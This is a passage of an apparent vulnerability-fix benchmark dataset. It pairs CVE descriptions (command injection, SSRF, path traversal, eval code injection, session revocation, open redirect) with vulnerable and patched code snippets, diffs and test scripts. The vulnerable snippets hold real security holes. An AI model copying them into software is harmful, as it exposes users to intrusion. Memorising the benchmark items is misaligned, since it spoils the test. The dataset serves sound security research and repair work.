{\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}"}, {"id": "fix_go_125_2", "commit": "c8db1ee", "file_path": "pkg/typesystem/typesystem.go", "start_line": 283, "end_line": 348, "snippet": "func isUsersetRewriteValid(\n\tallRelations map[string]*openfgapb.Relation,\n\trelationsOnType map[string]*openfgapb.Relation,\n\tobjectType, relation string,\n\trewrite *openfgapb.Userset,\n) error {\n\tif rewrite.GetUserset() == nil {\n\t\treturn InvalidRelationError(objectType, relation)\n\t}\n\n\tswitch t := rewrite.GetUserset().(type) {\n\tcase *openfgapb.Userset_ComputedUserset:\n\t\tcomputedUserset := t.ComputedUserset.GetRelation()\n\t\tif computedUserset == relation {\n\t\t\treturn InvalidRelationError(objectType, relation)\n\t\t}\n\t\tif _, ok := relationsOnType[computedUserset]; !ok {\n\t\t\treturn RelationDoesNotExistError(objectType, computedUserset)\n\t\t}\n\tcase *openfgapb.Userset_TupleToUserset:\n\t\ttupleset := t.TupleToUserset.GetTupleset().GetRelation()\n\n\t\ttuplesetRelation, ok := relationsOnType[tupleset]\n\t\tif !ok {\n\t\t\treturn RelationDoesNotExistError(objectType, tupleset)\n\t\t}\n\n\t\t// tupleset relations must only be direct relationships, no rewrites\n\t\t// are allowed on them\n\t\ttuplesetRewrite := tuplesetRelation.GetRewrite()\n\t\tif reflect.TypeOf(tuplesetRewrite.GetUserset()) != reflect.TypeOf(&openfgapb.Userset_This{}) {\n\t\t\treturn errors.Errorf(\"the '%s#%s' relation is referenced in at least one tupleset and thus must be a direct relation\", objectType, tupleset)\n\t\t}\n\n\t\tcomputedUserset := t.TupleToUserset.GetComputedUserset().GetRelation()\n\t\tif _, ok := allRelations[computedUserset]; !ok {\n\t\t\treturn RelationDoesNotExistError(\"\", computedUserset)\n\t\t}\n\tcase *openfgapb.Userset_Union:\n\t\tfor _, child := range t.Union.GetChild() {\n\t\t\terr := isUsersetRewriteValid(allRelations, relationsOnType, objectType, relation, child)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\tcase *openfgapb.Userset_Intersection:\n\t\tfor _, child := range t.Intersection.GetChild() {\n\t\t\terr := isUsersetRewriteValid(allRelations, relationsOnType, objectType, relation, child)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\tcase *openfgapb.Userset_Difference:\n\t\terr := isUsersetRewriteValid(allRelations, relationsOnType, objectType, relation, t.Difference.Base)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\terr = isUsersetRewriteValid(allRelations, relationsOnType, objectType, relation, t.Difference.Subtract)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/typesystem/typesystem.go\n+++ b/pkg/typesystem/typesystem.go\n@@ -1,21 +1,41 @@\n func validateRelationRewrites(model *openfgapb.AuthorizationModel) error {\n \ttypeDefinitions := model.GetTypeDefinitions()\n \n-\tallRelations := map[string]struct{}{}\n-\ttypeToRelations := map[string]map[string]struct{}{}\n+\trelations := map[string]*openfgapb.Relation{}\n+\ttyperels := map[string]map[string]*openfgapb.Relation{}\n+\n \tfor _, td := range typeDefinitions {\n \t\tobjectType := td.GetType()\n-\t\ttypeToRelations[objectType] = map[string]struct{}{}\n-\t\tfor relation := range td.GetRelations() {\n-\t\t\ttypeToRelations[objectType][relation] = struct{}{}\n-\t\t\tallRelations[relation] = struct{}{}\n+\n+\t\ttyperels[objectType] = map[string]*openfgapb.Relation{}\n+\n+\t\tfor relation, rewrite := range td.GetRelations() {\n+\t\t\trelationMetadata := td.GetMetadata().GetRelations()\n+\t\t\tmd, ok := relationMetadata[relation]\n+\n+\t\t\tvar typeinfo *openfgapb.RelationTypeInfo\n+\t\t\tif ok {\n+\t\t\t\ttypeinfo = &openfgapb.RelationTypeInfo{\n+\t\t\t\t\tDirectlyRelatedUserTypes: md.GetDirectlyRelatedUserTypes(),\n+\t\t\t\t}\n+\t\t\t}\n+\n+\t\t\tr := &openfgapb.Relation{\n+\t\t\t\tName:     relation,\n+\t\t\t\tRewrite:  rewrite,\n+\t\t\t\tTypeInfo: typeinfo,\n+\t\t\t}\n+\n+\t\t\ttyperels[objectType][relation] = r\n+\t\t\trelations[relation] = r\n \t\t}\n \t}\n \n \tfor _, td := range typeDefinitions {\n \t\tobjectType := td.GetType()\n+\n \t\tfor relation, rewrite := range td.GetRelations() {\n-\t\t\terr := isUsersetRewriteValid(allRelations, typeToRelations[objectType], objectType, relation, rewrite)\n+\t\t\terr := isUsersetRewriteValid(relations, typerels[objectType], objectType, relation, rewrite)\n \t\t\tif err != nil {\n \t\t\t\treturn err\n \t\t\t}\n\n--- a/pkg/typesystem/typesystem.go\n+++ b/pkg/typesystem/typesystem.go\n@@ -1,4 +1,9 @@\n-func isUsersetRewriteValid(allRelations map[string]struct{}, relationsOnType map[string]struct{}, objectType, relation string, rewrite *openfgapb.Userset) error {\n+func isUsersetRewriteValid(\n+\tallRelations map[string]*openfgapb.Relation,\n+\trelationsOnType map[string]*openfgapb.Relation,\n+\tobjectType, relation string,\n+\trewrite *openfgapb.Userset,\n+) error {\n \tif rewrite.GetUserset() == nil {\n \t\treturn InvalidRelationError(objectType, relation)\n \t}\n@@ -14,8 +19,17 @@\n \t\t}\n \tcase *openfgapb.Userset_TupleToUserset:\n \t\ttupleset := t.TupleToUserset.GetTupleset().GetRelation()\n-\t\tif _, ok := relationsOnType[tupleset]; !ok {\n+\n+\t\ttuplesetRelation, ok := relationsOnType[tupleset]\n+\t\tif !ok {\n \t\t\treturn RelationDoesNotExistError(objectType, tupleset)\n+\t\t}\n+\n+\t\t// tupleset relations must only be direct relationships, no rewrites\n+\t\t// are allowed on them\n+\t\ttuplesetRewrite := tuplesetRelation.GetRewrite()\n+\t\tif reflect.TypeOf(tuplesetRewrite.GetUserset()) != reflect.TypeOf(&openfgapb.Userset_This{}) {\n+\t\t\treturn errors.Errorf(\"the '%s#%s' relation is referenced in at least one tupleset and thus must be a direct relation\", objectType, tupleset)\n \t\t}\n \n \t\tcomputedUserset := t.TupleToUserset.GetComputedUserset().GetRelation()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-7781", "cve_description": "This affects the package connection-tester before 0.2.1. The injection point is located in line 15 in index.js. The following PoC demonstrates the vulnerability:", "cwe_info": {"CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}}, "repo": "https://github.com/skoranga/node-connection-tester", "patch_url": ["https://github.com/skoranga/node-connection-tester/commit/c1dc374138e1a9d3361c4b8e1ddb1a81d4b45bee"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_28_1", "commit": "7d7b7112d4bfe5a711b292fa046edd57e9da9266", "file_path": "index.js", "start_line": 78, "end_line": 95, "snippet": "    test: function ConnectionTester(host, port, callbackOrConnectTimeout, callback) {\n\n        // for backward compatibility\n        if (typeof callbackOrConnectTimeout === 'function') {\n            console.log('deprecated: Please migrate to the new interface ConnectionTester\\(host, port, timeout, callback\\)');\n            return testAsync(host, port, SOCKET_TIMEOUT, callbackOrConnectTimeout);\n        }\n        if (typeof callbackOrConnectTimeout === 'number') {\n            if (callback) {\n                return testAsync(host, port, callbackOrConnectTimeout, callback);\n            } else {\n                return testSync(host, port, callbackOrConnectTimeout);\n            }\n        }\n        if (callbackOrConnectTimeout === undefined) {\n            return testSync(host, port, SOCKET_TIMEOUT);\n        }\n    }"}], "fix_func": [{"id": "fix_js_28_1", "commit": "c1dc374138e1a9d3361c4b8e1ddb1a81d4b45bee", "file_path": "index.js", "start_line": 85, "end_line": 128, "snippet": "    test: function ConnectionTester(host, port, connectTimeout, callback) {\n\n        // validate host\n        if (!isValidHostNameOrIP(host)) {\n            console.error('[connection-tester] invalid host: ', host);\n            host = undefined;\n        }\n        // validate port\n        var originalPort = port;\n        port = +port;\n        if (!port || port < 0 || port > 65535) {\n            console.error('[connection-tester] invalid port: ', originalPort);\n            port = undefined;\n        }\n\n        if (typeof connectTimeout === 'function') {\n            console.error('deprecated: Please migrate to the new interface ConnectionTester\\(host, port, timeout, callback\\)');\n            callback = connectTimeout;\n            connectTimeout = SOCKET_TIMEOUT;\n        }\n        if (connectTimeout === undefined) {\n            connectTimeout = SOCKET_TIMEOUT;\n        }\n\n        if (typeof connectTimeout === 'number') {\n            if (!port || !host) {\n                var output = {\n                    success: false,\n                    error: 'invalid host/port'\n                };\n\n                if (callback) {\n                    return callback(null, output);\n                } else {\n                    return output;\n                }\n            }\n            if (callback) {\n                return testAsync(host, port, connectTimeout, callback);\n            } else {\n                return testSync(host, port, connectTimeout);\n            }\n        }\n    }"}, {"id": "fix_js_28_2", "commit": "c1dc374138e1a9d3361c4b8e1ddb1a81d4b45bee", "file_path": "index.js", "start_line": 10, "end_line": 15, "snippet": "//source - http://stackoverflow.com/questions/106179/regular-expression-to-match-dns-hostname-or-ip-address\nvar ValidHostnameRegex = new RegExp(\"^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])$\");\n\nfunction isValidHostNameOrIP(host) {\n    return net.isIP(host) || ValidHostnameRegex.test(host);\n}"}], "vul_patch": "--- a/index.js\n+++ b/index.js\n@@ -1,18 +1,44 @@\n-    test: function ConnectionTester(host, port, callbackOrConnectTimeout, callback) {\n+    test: function ConnectionTester(host, port, connectTimeout, callback) {\n \n-        // for backward compatibility\n-        if (typeof callbackOrConnectTimeout === 'function') {\n-            console.log('deprecated: Please migrate to the new interface ConnectionTester\\(host, port, timeout, callback\\)');\n-            return testAsync(host, port, SOCKET_TIMEOUT, callbackOrConnectTimeout);\n+        // validate host\n+        if (!isValidHostNameOrIP(host)) {\n+            console.error('[connection-tester] invalid host: ', host);\n+            host = undefined;\n         }\n-        if (typeof callbackOrConnectTimeout === 'number') {\n+        // validate port\n+        var originalPort = port;\n+        port = +port;\n+        if (!port || port < 0 || port > 65535) {\n+            console.error('[connection-tester] invalid port: ', originalPort);\n+            port = undefined;\n+        }\n+\n+        if (typeof connectTimeout === 'function') {\n+            console.error('deprecated: Please migrate to the new interface ConnectionTester\\(host, port, timeout, callback\\)');\n+            callback = connectTimeout;\n+            connectTimeout = SOCKET_TIMEOUT;\n+        }\n+        if (connectTimeout === undefined) {\n+            connectTimeout = SOCKET_TIMEOUT;\n+        }\n+\n+        if (typeof connectTimeout === 'number') {\n+            if (!port || !host) {\n+                var output = {\n+                    success: false,\n+                    error: 'invalid host/port'\n+                };\n+\n+                if (callback) {\n+                    return callback(null, output);\n+                } else {\n+                    return output;\n+                }\n+            }\n             if (callback) {\n-                return testAsync(host, port, callbackOrConnectTimeout, callback);\n+                return testAsync(host, port, connectTimeout, callback);\n             } else {\n-                return testSync(host, port, callbackOrConnectTimeout);\n+                return testSync(host, port, connectTimeout);\n             }\n         }\n-        if (callbackOrConnectTimeout === undefined) {\n-            return testSync(host, port, SOCKET_TIMEOUT);\n-        }\n     }\n\n--- /dev/null\n+++ b/index.js\n@@ -0,0 +1,6 @@\n+//source - http://stackoverflow.com/questions/106179/regular-expression-to-match-dns-hostname-or-ip-address\n+var ValidHostnameRegex = new RegExp(\"^(([a-zA-Z0-9]|[a-zA-Z0-9][a-zA-Z0-9\\-]*[a-zA-Z0-9])\\.)*([A-Za-z0-9]|[A-Za-z0-9][A-Za-z0-9\\-]*[A-Za-z0-9])$\");\n+\n+function isValidHostNameOrIP(host) {\n+    return net.isIP(host) || ValidHostnameRegex.test(host);\n+}\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7781:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-connection-tester\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\njest ./poc\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-7781:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/node-connection-tester\ngit apply --whitespace=nowarn /workspace/fix.patch\nnpx mocha --grep \"should connect to localhost|should return false while connecting to 5678 port on www.example.com|should connect to localhost|should connect to www.yahoo.com 80|should return false while connecting to dead port on localhost\""}
{"cve_id": "CVE-2022-0766", "cve_description": "Server-Side Request Forgery (SSRF) in GitHub repository janeczku/calibre-web prior to 0.6.17.", "cwe_info": {"CWE-918": {"name": "Server-Side Request Forgery (SSRF)", "description": "The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination."}}, "repo": "https://github.com/janeczku/calibre-web", "patch_url": ["https://github.com/janeczku/calibre-web/commit/965352c8d96c9eae7a6867ff76b0db137d04b0b8"], "programing_language": "Python", "vul_func": [{"id": "vul_py_214_1", "commit": "8007e45", "file_path": "cps/helper.py", "start_line": 732, "end_line": 751, "snippet": "def save_cover_from_url(url, book_path):\n    try:\n        if not cli.allow_localhost:\n            # 127.0.x.x, localhost, [::1], [::ffff:7f00:1]\n            ip = socket.getaddrinfo(urlparse(url).hostname, 0)[0][4][0]\n            if ip.startswith(\"127.\") or ip.startswith('::ffff:7f') or ip == \"::1\":\n                log.error(\"Localhost was accessed for cover upload\")\n                return False, _(\"You are not allowed to access localhost for cover uploads\")\n        img = requests.get(url, timeout=(10, 200))      # ToDo: Error Handling\n        img.raise_for_status()\n        return save_cover(img, book_path)\n    except (socket.gaierror,\n            requests.exceptions.HTTPError,\n            requests.exceptions.ConnectionError,\n            requests.exceptions.Timeout) as ex:\n        log.info(u'Cover Download Error %s', ex)\n        return False, _(\"Error Downloading Cover\")\n    except MissingDelegateError as ex:\n        log.info(u'File Format Error %s', ex)\n        return False, _(\"Cover Format Error\")"}], "fix_func": [{"id": "fix_py_214_1", "commit": "965352c", "file_path": "cps/helper.py", "start_line": 732, "end_line": 751, "snippet": "def save_cover_from_url(url, book_path):\n    try:\n        if not cli.allow_localhost:\n            # 127.0.x.x, localhost, [::1], [::ffff:7f00:1]\n            ip = socket.getaddrinfo(urlparse(url).hostname, 0)[0][4][0]\n            if ip.startswith(\"127.\") or ip.startswith('::ffff:7f') or ip == \"::1\" or ip == \"0.0.0.0\" or ip == \"::\":\n                log.error(\"Localhost was accessed for cover upload\")\n                return False, _(\"You are not allowed to access localhost for cover uploads\")\n        img = requests.get(url, timeout=(10, 200), allow_redirects=False)      # ToDo: Error Handling\n        img.raise_for_status()\n        return save_cover(img, book_path)\n    except (socket.gaierror,\n            requests.exceptions.HTTPError,\n            requests.exceptions.ConnectionError,\n            requests.exceptions.Timeout) as ex:\n        log.info(u'Cover Download Error %s', ex)\n        return False, _(\"Error Downloading Cover\")\n    except MissingDelegateError as ex:\n        log.info(u'File Format Error %s', ex)\n        return False, _(\"Cover Format Error\")"}], "vul_patch": "--- a/cps/helper.py\n+++ b/cps/helper.py\n@@ -3,10 +3,10 @@\n         if not cli.allow_localhost:\n             # 127.0.x.x, localhost, [::1], [::ffff:7f00:1]\n             ip = socket.getaddrinfo(urlparse(url).hostname, 0)[0][4][0]\n-            if ip.startswith(\"127.\") or ip.startswith('::ffff:7f') or ip == \"::1\":\n+            if ip.startswith(\"127.\") or ip.startswith('::ffff:7f') or ip == \"::1\" or ip == \"0.0.0.0\" or ip == \"::\":\n                 log.error(\"Localhost was accessed for cover upload\")\n                 return False, _(\"You are not allowed to access localhost for cover uploads\")\n-        img = requests.get(url, timeout=(10, 200))      # ToDo: Error Handling\n+        img = requests.get(url, timeout=(10, 200), allow_redirects=False)      # ToDo: Error Handling\n         img.raise_for_status()\n         return save_cover(img, book_path)\n     except (socket.gaierror,\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-2653", "cve_description": "With this vulnerability an attacker can read many sensitive files like configuration files, or the /proc/self/environ file, that contains the environment variable used by the web server that includes database credentials. If the web server user is root, an attacker will be able to read any file in the system.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/plankanban/planka", "patch_url": ["https://github.com/plankanban/planka/commit/ac1df5201dfdaf68d37f7e1b272bc137870d7418"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_249_1", "commit": "fbe24c0", "file_path": "server/api/controllers/attachments/download-thumbnail.js", "start_line": 10, "end_line": 21, "snippet": "module.exports = {\n  inputs: {\n    id: {\n      type: 'string',\n      regex: /^[0-9]+$/,\n      required: true,\n    },\n    filename: {\n      type: 'string',\n      required: true,\n    },\n  },"}, {"id": "vul_js_249_2", "commit": "fbe24c0", "file_path": "server/api/controllers/attachments/download-thumbnail.js", "start_line": 29, "end_line": 69, "snippet": "  async fn(inputs, exits) {\n    const { currentUser } = this.req;\n\n    const { attachment, card, project } = await sails.helpers.attachments\n      .getProjectPath(inputs.id)\n      .intercept('pathNotFound', () => Errors.ATTACHMENT_NOT_FOUND);\n\n    const isBoardMember = await sails.helpers.users.isBoardMember(currentUser.id, card.boardId);\n\n    if (!isBoardMember) {\n      const isProjectManager = await sails.helpers.users.isProjectManager(\n        currentUser.id,\n        project.id,\n      );\n\n      if (!isProjectManager) {\n        throw Errors.ATTACHMENT_NOT_FOUND; // Forbidden\n      }\n    }\n\n    if (!attachment.image) {\n      throw Errors.ATTACHMENT_NOT_FOUND;\n    }\n\n    const filePath = path.join(\n      sails.config.custom.attachmentsPath,\n      attachment.dirname,\n      'thumbnails',\n      inputs.filename,\n    );\n\n    if (!fs.existsSync(filePath)) {\n      throw Errors.ATTACHMENT_NOT_FOUND;\n    }\n\n    this.res.type(attachment.filename);\n    this.res.set('Cache-Control', 'private, max-age=900'); // TODO: move to config\n\n    return exits.success(fs.createReadStream(filePath));\n  },\n};"}, {"id": "vul_js_249_3", "commit": "fbe24c0", "file_path": "server/config/routes.js", "start_line": 83, "end_line": 86, "snippet": "  'GET /attachments/:id/download/thumbnails/:filename': {\n    action: 'attachments/download-thumbnail',\n    skipAssets: false,\n  },"}], "fix_func": [{"id": "fix_js_249_1", "commit": "ac1df5201dfdaf68d37f7e1b272bc137870d7418", "file_path": "server/api/controllers/attachments/download-thumbnail.js", "start_line": 10, "end_line": 17, "snippet": "module.exports = {\n  inputs: {\n    id: {\n      type: 'string',\n      regex: /^[0-9]+$/,\n      required: true,\n    },\n  },"}, {"id": "fix_js_249_2", "commit": "ac1df5201dfdaf68d37f7e1b272bc137870d7418", "file_path": "server/api/controllers/attachments/download-thumbnail.js", "start_line": 25, "end_line": 65, "snippet": "  async fn(inputs, exits) {\n    const { currentUser } = this.req;\n\n    const { attachment, card, project } = await sails.helpers.attachments\n      .getProjectPath(inputs.id)\n      .intercept('pathNotFound', () => Errors.ATTACHMENT_NOT_FOUND);\n\n    const isBoardMember = await sails.helpers.users.isBoardMember(currentUser.id, card.boardId);\n\n    if (!isBoardMember) {\n      const isProjectManager = await sails.helpers.users.isProjectManager(\n        currentUser.id,\n        project.id,\n      );\n\n      if (!isProjectManager) {\n        throw Errors.ATTACHMENT_NOT_FOUND; // Forbidden\n      }\n    }\n\n    if (!attachment.image) {\n      throw Errors.ATTACHMENT_NOT_FOUND;\n    }\n\n    const filePath = path.join(\n      sails.config.custom.attachmentsPath,\n      attachment.dirname,\n      'thumbnails',\n      'cover-256.jpg',\n    );\n\n    if (!fs.existsSync(filePath)) {\n      throw Errors.ATTACHMENT_NOT_FOUND;\n    }\n\n    this.res.type('image/jpeg');\n    this.res.set('Cache-Control', 'private, max-age=900'); // TODO: move to config\n\n    return exits.success(fs.createReadStream(filePath));\n  },\n};"}, {"id": "fix_js_249_3", "commit": "ac1df5201dfdaf68d37f7e1b272bc137870d7418", "file_path": "server/config/routes.js", "start_line": 83, "end_line": 86, "snippet": "  'GET /attachments/:id/download/thumbnails/cover-256.jpg': {\n    action: 'attachments/download-thumbnail',\n    skipAssets: false,\n  },"}], "vul_patch": "--- a/server/api/controllers/attachments/download-thumbnail.js\n+++ b/server/api/controllers/attachments/download-thumbnail.js\n@@ -5,8 +5,4 @@\n       regex: /^[0-9]+$/,\n       required: true,\n     },\n-    filename: {\n-      type: 'string',\n-      required: true,\n-    },\n   },\n\n--- a/server/api/controllers/attachments/download-thumbnail.js\n+++ b/server/api/controllers/attachments/download-thumbnail.js\n@@ -26,14 +26,14 @@\n       sails.config.custom.attachmentsPath,\n       attachment.dirname,\n       'thumbnails',\n-      inputs.filename,\n+      'cover-256.jpg',\n     );\n \n     if (!fs.existsSync(filePath)) {\n       throw Errors.ATTACHMENT_NOT_FOUND;\n     }\n \n-    this.res.type(attachment.filename);\n+    this.res.type('image/jpeg');\n     this.res.set('Cache-Control', 'private, max-age=900'); // TODO: move to config\n \n     return exits.success(fs.createReadStream(filePath));\n\n--- a/server/config/routes.js\n+++ b/server/config/routes.js\n@@ -1,4 +1,4 @@\n-  'GET /attachments/:id/download/thumbnails/:filename': {\n+  'GET /attachments/:id/download/thumbnails/cover-256.jpg': {\n     action: 'attachments/download-thumbnail',\n     skipAssets: false,\n   },\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-21513", "cve_description": "Versions of the package langchain-experimental from 0.0.15 and before 0.0.21 are vulnerable to Arbitrary Code Execution when retrieving values from the database, the code will attempt to call 'eval' on all values. An attacker can exploit this vulnerability and execute arbitrary python code if they can control the input prompt and the server is configured with VectorSQLDatabaseChain.\r\r**Notes:**\r\rImpact on the Confidentiality, Integrity and Availability of the vulnerable component:\r\rConfidentiality: Code execution happens within the impacted component, in this case langchain-experimental, so all resources are necessarily accessible.\r\rIntegrity: There is nothing protected by the impacted component inherently. Although anything returned from the component counts as 'information' for which the trustworthiness can be compromised.\r\rAvailability: The loss of availability isn't caused by the attack itself, but it happens as a result during the attacker's post-exploitation steps.\r\r\rImpact on the Confidentiality, Integrity and Availability of the subsequent system:\r\rAs a legitimate low-privileged user of the package (PR:L) the attacker does not have more access to data owned by the package as a result of this vulnerability than they did with normal usage (e.g. can query the DB). The unintended action that one can perform by breaking out of the app environment and exfiltrating files, making remote connections etc. happens during the post exploitation phase in the subsequent system - in this case, the OS.\r\rAT:P: An attacker needs to be able to influence the input prompt, whilst the server is configured with the VectorSQLDatabaseChain plugin.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/langchain-ai/langchain", "patch_url": ["https://github.com/langchain-ai/langchain/commit/7b13292e3544b2f5f2bfb8a27a062ea2b0c34561"], "programing_language": "Python", "vul_func": [{"id": "vul_py_223_1", "commit": "b809c24", "file_path": "libs/experimental/langchain_experimental/sql/vector_sql.py", "start_line": 86, "end_line": 95, "snippet": "def get_result_from_sqldb(\n    db: SQLDatabase, cmd: str\n) -> Union[str, List[Dict[str, Any]], Dict[str, Any]]:\n    result = db._execute(cmd, fetch=\"all\")  # type: ignore\n    if isinstance(result, list):\n        return [{k: _try_eval(v) for k, v in dict(d._asdict()).items()} for d in result]\n    else:\n        return {\n            k: _try_eval(v) for k, v in dict(result._asdict()).items()  # type: ignore\n        }"}], "fix_func": [{"id": "fix_py_223_1", "commit": "7b13292", "file_path": "libs/experimental/langchain_experimental/sql/vector_sql.py", "start_line": 79, "end_line": 83, "snippet": "def get_result_from_sqldb(\n    db: SQLDatabase, cmd: str\n) -> Union[str, List[Dict[str, Any]], Dict[str, Any]]:\n    result = db._execute(cmd, fetch=\"all\")  # type: ignore\n    return result"}], "vul_patch": "--- a/libs/experimental/langchain_experimental/sql/vector_sql.py\n+++ b/libs/experimental/langchain_experimental/sql/vector_sql.py\n@@ -2,9 +2,4 @@\n     db: SQLDatabase, cmd: str\n ) -> Union[str, List[Dict[str, Any]], Dict[str, Any]]:\n     result = db._execute(cmd, fetch=\"all\")  # type: ignore\n-    if isinstance(result, list):\n-        return [{k: _try_eval(v) for k, v in dict(d._asdict()).items()} for d in result]\n-    else:\n-        return {\n-            k: _try_eval(v) for k, v in dict(result._asdict()).items()  # type: ignore\n-        }\n+    return result\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-29928", "cve_description": "authentik is an open-source identity provider. Prior to versions 2024.12.4 and 2025.2.3, when authentik was configured to use the database for session storage (which is a non-default setting), deleting sessions via the Web Interface or the API would not revoke the session and the session holder would continue to have access to authentik. authentik 2025.2.3 and 2024.12.4 fix this issue. Switching to the cache-based session storage until the authentik instance can be upgraded is recommended. This will however also delete all existing sessions and users will have to re-authenticate.", "cwe_info": {"CWE-384": {"name": "Session Fixation", "description": "Authenticating a user, or otherwise establishing a new user session, without invalidating any existing session identifier gives an attacker the opportunity to steal authenticated sessions."}}, "repo": "https://github.com/goauthentik/authentik", "patch_url": ["https://github.com/goauthentik/authentik/commit/71294b7deb6eb5726a782de83b957eaf25fc4cf6"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_202_1", "commit": "5af907d", "file_path": "authentik/core/api/users.py", "start_line": 771, "end_line": 780, "snippet": "    def partial_update(self, request: Request, *args, **kwargs) -> Response:\n        response = super().partial_update(request, *args, **kwargs)\n        instance: User = self.get_object()\n        if not instance.is_active:\n            sessions = AuthenticatedSession.objects.filter(user=instance)\n            session_ids = sessions.values_list(\"session_key\", flat=True)\n            cache.delete_many(f\"{KEY_PREFIX}{session}\" for session in session_ids)\n            sessions.delete()\n            LOGGER.debug(\"Deleted user's sessions\", user=instance.username)\n        return response"}, {"id": "vul_js_202_2", "commit": "5af907d", "file_path": "authentik/core/signals.py", "start_line": 61, "end_line": 64, "snippet": "def authenticated_session_delete(sender: type[Model], instance: \"AuthenticatedSession\", **_):\n    \"\"\"Delete session when authenticated session is deleted\"\"\"\n    cache_key = f\"{KEY_PREFIX}{instance.session_key}\"\n    cache.delete(cache_key)"}], "fix_func": [{"id": "fix_js_202_1", "commit": "71294b7", "file_path": "authentik/core/api/users.py", "start_line": 773, "end_line": 783, "snippet": "    def partial_update(self, request: Request, *args, **kwargs) -> Response:\n        response = super().partial_update(request, *args, **kwargs)\n        instance: User = self.get_object()\n        if not instance.is_active:\n            sessions = AuthenticatedSession.objects.filter(user=instance)\n            session_ids = sessions.values_list(\"session_key\", flat=True)\n            for session in session_ids:\n                SessionStore(session).delete()\n            sessions.delete()\n            LOGGER.debug(\"Deleted user's sessions\", user=instance.username)\n        return response"}, {"id": "fix_js_202_2", "commit": "71294b7", "file_path": "authentik/core/signals.py", "start_line": 65, "end_line": 67, "snippet": "def authenticated_session_delete(sender: type[Model], instance: \"AuthenticatedSession\", **_):\n    \"\"\"Delete session when authenticated session is deleted\"\"\"\n    SessionStore(instance.session_key).delete()"}], "vul_patch": "--- a/authentik/core/api/users.py\n+++ b/authentik/core/api/users.py\n@@ -4,7 +4,8 @@\n         if not instance.is_active:\n             sessions = AuthenticatedSession.objects.filter(user=instance)\n             session_ids = sessions.values_list(\"session_key\", flat=True)\n-            cache.delete_many(f\"{KEY_PREFIX}{session}\" for session in session_ids)\n+            for session in session_ids:\n+                SessionStore(session).delete()\n             sessions.delete()\n             LOGGER.debug(\"Deleted user's sessions\", user=instance.username)\n         return response\n\n--- a/authentik/core/signals.py\n+++ b/authentik/core/signals.py\n@@ -1,4 +1,3 @@\n def authenticated_session_delete(sender: type[Model], instance: \"AuthenticatedSession\", **_):\n     \"\"\"Delete session when authenticated session is deleted\"\"\"\n-    cache_key = f\"{KEY_PREFIX}{instance.session_key}\"\n-    cache.delete(cache_key)\n+    SessionStore(instance.session_key).delete()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-14574", "cve_description": "django.middleware.common.CommonMiddleware in Django 1.11.x before 1.11.15 and 2.0.x before 2.0.8 has an Open Redirect.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/django/django", "patch_url": ["https://github.com/django/django/commit/d6eaee092709aad477a9894598496c6deec532ff", "https://github.com/django/django/commit/c4e5ff7fdb5fce447675e90291fd33fddd052b3c", "https://github.com/django/django/commit/6fffc3c6d420e44f4029d5643f38d00a39b08525"], "programing_language": "Python", "vul_func": [{"id": "vul_py_10_1", "commit": "af344691114e4a68334c30543bfb838996328212", "file_path": "django/middleware/common.py", "start_line": 83, "end_line": 102, "snippet": "    def get_full_path_with_slash(self, request):\n        \"\"\"\n        Return the full path of the request with a trailing slash appended.\n\n        Raise a RuntimeError if settings.DEBUG is True and request.method is\n        POST, PUT, or PATCH.\n        \"\"\"\n        new_path = request.get_full_path(force_append_slash=True)\n        if settings.DEBUG and request.method in ('POST', 'PUT', 'PATCH'):\n            raise RuntimeError(\n                \"You called this URL via %(method)s, but the URL doesn't end \"\n                \"in a slash and you have 